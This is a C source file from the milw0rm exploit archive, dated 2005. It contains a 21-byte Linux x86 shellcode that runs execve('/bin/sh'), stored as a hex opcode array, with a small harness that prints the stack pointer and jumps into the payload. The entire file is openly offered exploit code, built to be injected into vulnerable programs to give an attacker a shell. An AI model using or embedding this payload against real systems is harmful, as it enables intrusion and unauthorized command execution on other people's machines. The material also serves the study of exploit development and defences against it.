61 lines
No EOL
1.5 KiB
C
61 lines
No EOL
1.5 KiB
C
/*
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lnx_binsh4.c - v1 - 21 Byte /bin/sh Opcode Array Payload
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Copyright(c) 2004 c0ntex <c0ntex@open-security.org>
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This program is free software; you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation; either version 2 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program; if not, write to the Free Software
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Foundation, Inc., 59 Temple Place, Suite 330, Boston,
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MA 02111-1307 USA
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*/
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/*
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Calling: execve(/bin/sh)
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*/
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#include <stdio.h>
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typedef char wikkid;
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wikkid oPc0d3z[] = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
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unsigned long grab_esp()
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{
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__asm__("
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xorl %eax,%eax
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movl %eax,%ebx
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movl %esp,%eax
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");
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}
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int main(void)
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{
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unsigned long delta;
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void (*pointer)();
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delta = grab_esp();
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fprintf(stderr, "\n[-] Stack Pointer found -> [0x%x]\n", delta);
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fprintf(stderr, "\t[-] Size of payload egg -> [%d]\n", sizeof(oPc0d3z));
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pointer=(void*)&oPc0d3z;
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while(pointer) {
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fprintf(stderr, "\t[-] Payload Begin -> [0x%x]\n", pointer);
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fprintf(stderr, "\t[-] Payload End -> [0x%x]\n\n", pointer+21);
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pointer();
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}
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_exit(0x01);
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}
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// milw0rm.com [2005-09-15]
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